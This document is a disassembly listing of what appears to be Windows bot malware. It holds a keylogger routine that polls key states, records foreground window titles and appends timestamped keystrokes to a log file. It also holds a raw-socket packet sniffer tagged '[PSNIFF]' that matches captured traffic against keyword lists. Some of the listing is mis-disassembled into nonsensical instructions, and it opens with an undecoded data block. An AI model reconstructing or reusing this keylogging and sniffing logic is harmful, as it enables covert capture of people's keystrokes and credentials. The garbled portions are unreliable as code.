		dd 0E8F05589h, 1003Eh, 5999026Ah, 0DAF7F9F7h, 0E280D21Ah
		dd 88D1020Eh, 68F555h, 0C6000002h, 0FF50F445h, 433AC815h
		dd 45896600h, 0E0458BF6h, 8B9C4589h, 146AE445h,	0FA5D8966h
		dd 0F85D8966h, 88A04589h, 45C6A45Dh, 15FF06A5h,	433AC8h
		dd 0A6458966h, 6A9C458Dh, 858D5020h, 0FFFFFF60h, 66E850h
		dd 458D0001h, 50146AE8h, 5080458Dh, 10057E8h, 60858D00h
		dd 6AFFFFFFh, 17E85034h, 66000061h, 8DF84589h, 146AD445h
		dd 60858D50h, 50FFFFFFh, 10033E8h, 0E8458D00h, 8D50146Ah
		dd 0FFFF7485h, 21E850FFh, 6A000100h, 88458D04h,	0B5E85053h
		dd 830000FFh, 858D44C4h, 0FFFFFF60h, 0E850286Ah, 60D2h
		dd 0DE458966h, 6AD4458Dh, 858D5014h, 0FFFFFF60h, 0FFEEE850h
		dd 0C4830000h, 0BC458D14h, 5350106Ah, 0FF60858Dh, 3C6AFFFFh
		dd 0FC75FF50h, 3B2C15FFh, 0F8830043h, 0FF0874FFh, 0BAE90845h
		dd 0FFFFFFFDh, 15FFFC75h, 433B60h, 3A5C15FFh, 8D500043h
		dd 0FFFDC485h, 875FFFFh, 0F3346850h, 858D0041h,	0FFFFFBC0h
		dd 20068h, 2FE85000h, 83000104h, 9D3918C4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 0D98BE8FFh, 0C4830000h, 0C0858D14h
		dd 50FFFFFBh, 6DA2E8h, 44B5FF00h, 0E8FFFFFFh, 0FC36h, 0E8535959h
		dd 6ADF78h, 0FC75FFFAh,	3B6015FFh, 458B0043h, 6BD23308h
		dd 0C88B3CC0h, 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h
		dd 0FFFFFDC4h, 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h
		dd 0F2D068FFh, 0E8500041h, 0FE22h, 391CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 0FAE8FFFFh, 830000D8h, 858D14C4h
		dd 0FFFFFBC0h, 6D11E850h, 0B5FF0000h, 0FFFFFF44h, 0FBA5E8h
		dd 53595900h, 6ADEE7E8h
		db 0, 6Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40211A	proc near		; CODE XREF: sub_4021FB+B4p
					; sub_4021FB+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp


loc_40211D:				; DATA XREF: .nsp0:off_428D84o
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_41D058	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	near ptr 0AB0000h
		inc	ecx
		lea	eax, [ebp+var_114]
		push	offset asc_41FC20 ; "\\"
		push	eax
		call	sub_412610
		lea	eax, [ebp+var_114]
		push	offset dword_425BCC
		push	eax
		call	sub_412610
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4125E8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		push	1
		pop	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------


loc_402181:				; CODE XREF: sub_40211A+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_412596
		push	esi
		call	sub_412540
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4021F6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_41FBDC
		push	200h
		push	eax
		call	sub_41246A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40F9F1
		add	esp, 24h


loc_4021F6:				; CODE XREF: sub_40211A+A3j
		xor	eax, eax


loc_4021F8:				; CODE XREF: sub_40211A+65j
		pop	esi
		leave
		retn
sub_40211A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021FB	proc near		; DATA XREF: .nsp0:0040BD9Co

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_433A50	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_433A64	; GetWindowTextA
		mov	ebx, 200h


loc_402256:				; CODE XREF: sub_4021FB+2C7j
		push	8
		call	dword_41D05C	; Sleep
		call	dword_433A50	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_4022DE
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_433A64	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_411EEE
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211A
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch


loc_4022DE:				; CODE XREF: sub_4021FB+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_4022E5:				; CODE XREF: sub_4021FB+2BDj
		push	10h
		call	dword_4339A8	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_433A94	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_40237D
		push	14h
		call	dword_4339A8	; GetKeyState
		test	ax, ax
		jz	short loc_40232E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232E
		cmp	edi, 40h
		jle	short loc_40232E
		cmp	edi, 5Bh
		jge	short loc_40232E
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: sub_4021FB+112j
					; sub_4021FB+117j ...
		push	14h
		call	dword_4339A8	; GetKeyState
		test	ax, ax
		jz	short loc_402359
		test	esi, esi
		jge	short loc_40236D
		cmp	edi, 40h
		jle	short loc_402359
		cmp	edi, 5Bh
		jge	short loc_402359
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_402359:				; CODE XREF: sub_4021FB+13Ej
					; sub_4021FB+147j ...
		test	esi, esi
		jge	short loc_40236D
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40236D:				; CODE XREF: sub_4021FB+142j
					; sub_4021FB+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40237D:				; CODE XREF: sub_4021FB+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_4024AD
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_4023B5
		call	sub_4126F0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: sub_4021FB+1A5j
		call	sub_4126F0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4023E7
		call	dword_433A50	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_433A64	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_402428
; ---------------------------------------------------------------------------


loc_4023E7:				; CODE XREF: sub_4021FB+1C5j
		cmp	edi, 0Dh
		jnz	loc_40247F
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4126F0
		test	eax, eax
		pop	ecx
		jz	loc_4024AD
		call	dword_433A50	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_433A64	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_402428:				; CODE XREF: sub_4021FB+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_411EEE
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211A
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		jmp	short loc_4024AD
; ---------------------------------------------------------------------------


loc_40247F:				; CODE XREF: sub_4021FB+1EFj
		cmp	esi, 1
		jz	short loc_402498
		cmp	esi, 3
		jz	short loc_402498
		cmp	esi, 2
		jz	short loc_402493
		cmp	esi, 4
		jnz	short loc_4024AD


loc_402493:				; CODE XREF: sub_4021FB+291j
		push	[ebp+arg_0]
		jmp	short loc_40249F
; ---------------------------------------------------------------------------


loc_402498:				; CODE XREF: sub_4021FB+287j
					; sub_4021FB+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40249F:				; CODE XREF: sub_4021FB+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_412610
		pop	ecx
		pop	ecx


loc_4024AD:				; CODE XREF: sub_4021FB+12Ej
					; sub_4021FB+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_41FBA4
		jl	loc_4022E5
		cmp	[ebp+var_4], 0
		jz	loc_402256
		push	[ebp+var_D8]
		call	sub_411CB6
		pop	ecx
		push	0
		call	near ptr 0AB0000h
		iret
sub_4021FB	endp

; ---------------------------------------------------------------------------


loc_4024DC:				; DATA XREF: .nsp0:0040BBEDo
		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_412770
		mov	edx, [ebp+8]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp-0B4h]
		pop	ecx
		mov	[ebp-8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	esi
		call	dword_433AC8	; ntohs
		push	dword ptr [ebp-0B4h]
		mov	[ebp-1Ah], ax
		call	sub_408045
		pop	ecx
		push	eax
		call	dword_433B08	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp-18h], eax
		call	dword_433B48	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jnz	short loc_4025B1
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_420574
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402594
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_40F9F1
		add	esp, 14h


loc_402594:				; CODE XREF: .nsp0:00402572j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_408E17
		push	dword ptr [ebp-30h]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0AB0000h
		setalc


loc_4025B1:				; CODE XREF: .nsp0:00402552j
		mov	eax, [ebp-30h]
		push	10h
		imul	eax, 234h
		mov	dword_438C64[eax], edi
		lea	eax, [ebp-1Ch]
		push	eax
		push	edi
		call	dword_433AF4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402636
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_42052C
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402612
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_40F9F1
		add	esp, 14h


loc_402612:				; CODE XREF: .nsp0:004025F0j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_408E17
		pop	ecx
		push	edi
		call	dword_433B60	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_411CB6
		pop	ecx
		push	esi
		call	near ptr 0AB0000h
		dec	esp


loc_402636:				; CODE XREF: .nsp0:004025D0j
		push	esi
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_433A74	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_4026B8+1
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_4204E0
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402695
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_40F9F1
		add	esp, 14h


loc_402695:				; CODE XREF: .nsp0:00402673j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_408E17
		pop	ecx
		push	edi
		call	dword_433B60	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_411CB6
		pop	ecx
		push	esi
		call	near ptr 0AB0000h


loc_4026B8:				; CODE XREF: .nsp0:00402653j
					; .nsp0:004026BBj
		mov	[ebx-45h], dl
		js	short near ptr loc_4026B8+1
		inc	ecx
		add	[edi+0FFFFh], bh ; CODE	XREF: .nsp0:004026F7j
					; .nsp0:00402709j ...
		lea	eax, [ebp-102B4h]
		push	edi
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp-102B4h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_433AE0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027D1
		cmp	byte ptr [ebp-102ABh], 6
		jnz	short near ptr loc_4026BE+1
		mov	eax, [ebp-102A8h]
		cmp	byte ptr [ebp-10293h], 18h
		mov	[ebp-0Ch], eax
		jnz	short near ptr loc_4026BE+1
		lea	eax, [ebp-1028Ch]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_4124C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short near ptr loc_4026BE+1
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short near ptr loc_4026BE+1
		mov	[ebp+8], ebx


loc_40272D:				; CODE XREF: .nsp0:00402748j
		push	eax
		lea	eax, [ebp-1028Ch]
		push	eax
		call	sub_4124C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40274F
		inc	edi
		add	dword ptr [ebp+8], 18h
		mov	eax, [ebp+8]
		jnz	short loc_40272D
		jmp	near ptr loc_4026BE+1
; ---------------------------------------------------------------------------


loc_40274F:				; CODE XREF: .nsp0:0040273Ej
		lea	eax, [ebp-1028Ch]
		push	eax
		push	dword ptr [ebp-102A0h]
		call	dword_433A04	; ntohs
		movzx	eax, ax
		push	eax
		push	dword ptr [ebp-0Ch]
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_41FC8C[eax*8]
		push	off_41FC70[eax*4]
		lea	eax, [ebp-2B4h]
		push	offset unk_42048C
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 1Ch
		cmp	[ebp-28h], esi
		jnz	short loc_4027BF
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_40F9F1
		add	esp, 14h


loc_4027BF:				; CODE XREF: .nsp0:0040279Dj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_408E17
		pop	ecx
		jmp	near ptr loc_4026BE+1
; ---------------------------------------------------------------------------


loc_4027D1:				; CODE XREF: .nsp0:004026EAj
		call	dword_433A5C	; WSAGetLastError
		push	eax
		push	offset unk_420444
		lea	eax, [ebp-2B4h]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 10h
		cmp	[ebp-28h], esi
		pop	ebx
		jnz	short loc_402817
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_40F9F1
		add	esp, 14h


loc_402817:				; CODE XREF: .nsp0:004027F5j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_408E17
		pop	ecx
		push	dword ptr [ebp-4]
		call	dword_433B60	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_411CB6
		pop	ecx
		push	esi
		call	near ptr 0AB0000h
		dec	ecx

; =============== S U B	R O U T	I N E =======================================



sub_40283D	proc near		; CODE XREF: sub_402AB1+Ep
					; sub_402AB1+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40283D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402847	proc near		; CODE XREF: sub_402AB1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41279F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_402879
		push	ebx
		push	0
		push	edi
		call	sub_411F70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_411FD0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_402879:				; CODE XREF: sub_402847+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_402847	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402881	proc near		; CODE XREF: sub_40297B+18p
					; sub_4029F5+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41279F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4028CD
		push	edi
		push	0
		push	esi
		call	sub_411F70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_411FD0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_411FD0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4028CD:				; CODE XREF: sub_402881+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_402881	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028D6	proc near		; CODE XREF: sub_40297B+5Ep
					; sub_40297B+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4028E6
		push	eax
		call	sub_412813
		pop	ecx


loc_4028E6:				; CODE XREF: sub_4028D6+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4028D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028EF	proc near		; CODE XREF: sub_40297B+20p
					; sub_402A56+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40291C
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41279F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_402920


loc_40291C:				; CODE XREF: sub_4028EF+Dj
		xor	al, al
		jmp	short loc_402977
; ---------------------------------------------------------------------------


loc_402920:				; CODE XREF: sub_4028EF+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_411F70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_402945
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40295F
; ---------------------------------------------------------------------------


loc_402945:				; CODE XREF: sub_4028EF+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40295F:				; CODE XREF: sub_4028EF+54j
		push	eax
		call	sub_411FD0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_412813
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_402977:				; CODE XREF: sub_4028EF+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4028EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40297B	proc near		; CODE XREF: sub_402AB1+89p
					; sub_402AB1+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_432704
		call	sub_402881
		lea	ecx, [ebp+var_8]
		call	sub_4028EF
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41279F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4029B5
		xor	al, al
		jmp	short loc_4029F1
; ---------------------------------------------------------------------------


loc_4029B5:				; CODE XREF: sub_40297B+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_411F70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_411FD0
		add	esp, 18h
		mov	ecx, esi
		call	sub_4028D6
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4028D6
		mov	al, 1


loc_4029F1:				; CODE XREF: sub_40297B+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40297B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029F5	proc near		; CODE XREF: sub_402A29+14p
					; sub_402A46+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_402881
		mov	ecx, esi
		call	sub_4028D6
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4029F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A29	proc near		; CODE XREF: sub_402AB1+F0p
					; sub_402AB1+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4126F0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4029F5
		pop	esi
		retn	4
sub_402A29	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A46	proc near		; CODE XREF: sub_402A92+Bp
					; sub_402AB1+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4029F5
		retn	8
sub_402A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A56	proc near		; CODE XREF: sub_402A92+16p
					; sub_402AB1+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4028EF
		test	al, al
		jz	short loc_402A8F
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_420927+1)
		call	sub_402881
		mov	ecx, esi
		call	sub_4028D6
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_402A8F:				; CODE XREF: sub_402A56+Fj
		pop	esi
		leave
		retn
sub_402A56	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A92	proc near		; CODE XREF: sub_402AB1+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_402A46
		test	al, al
		jz	short loc_402AAD
		mov	ecx, esi
		call	sub_402A56


loc_402AAD:				; CODE XREF: sub_402A92+12j
		pop	esi
		retn	8
sub_402A92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AB1	proc near		; CODE XREF: sub_4032B0+86p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40283D
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_402E05
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_402E05
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40283D
		lea	ecx, [ebp+var_20]
		call	sub_40283D
		lea	ecx, [ebp+var_50]
		call	sub_40283D
		lea	ecx, [ebp+var_18]
		call	sub_40283D
		lea	ecx, [ebp+var_40]
		call	sub_40283D
		lea	ecx, [ebp+var_38]
		call	sub_40283D
		lea	ecx, [ebp+var_28]
		call	sub_40283D
		push	4
		push	offset dword_4205C8
		lea	ecx, [ebp+var_30]
		call	sub_4029F5
		push	3
		push	offset dword_4205D0
		lea	ecx, [ebp+var_30]
		call	sub_4029F5
		lea	ecx, [ebp+var_30]
		call	sub_40297B
		lea	ecx, [ebp+var_30]
		call	sub_402A56
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_411F70
